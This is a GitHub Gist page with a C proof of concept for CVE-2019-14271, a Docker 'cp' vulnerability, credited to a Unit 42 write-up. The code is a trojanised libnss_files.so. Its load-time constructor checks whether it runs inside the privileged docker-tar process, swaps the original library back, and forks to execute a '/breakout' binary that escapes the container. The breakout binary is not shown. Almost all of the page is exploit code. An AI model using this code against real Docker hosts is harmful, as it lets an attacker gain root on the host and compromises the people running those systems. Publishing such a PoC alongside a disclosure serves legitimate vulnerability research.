Created
November 26, 2019 10:33
-
-
Save andreafortuna/3b80c8f5c32794aa6d3e149a9c50a7d0 to your computer and use it in GitHub Desktop.
CVE-2019-14271 PoC, from https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include ... | |
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2" | |
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2" | |
bool is_priviliged(); | |
__attribute__ ((constructor)) void run_at_link(void) | |
{ | |
char * argv_break[2]; | |
if (!is_priviliged()) | |
return; | |
rename(ORIGINAL_LIBNSS, LIBNSS_PATH); | |
fprintf(log_fp, "switched back to the original libnss_file.so"); | |
if (!fork()) | |
{ | |
// Child runs breakout | |
argv_break[0] = strdup("/breakout"); | |
argv_break[1] = NULL; | |
execve("/breakout", argv_break, NULL); | |
} | |
else | |
wait(NULL); // Wait for child | |
return; | |
} | |
bool is_priviliged() | |
{ | |
FILE * proc_file = fopen("/proc/self/exe", "r"); | |
if (proc_file != NULL) | |
{ | |
fclose(proc_file); | |
return false; // can open so /proc exists, not privileged | |
} | |
return true; // we're running in the context of docker-tar | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment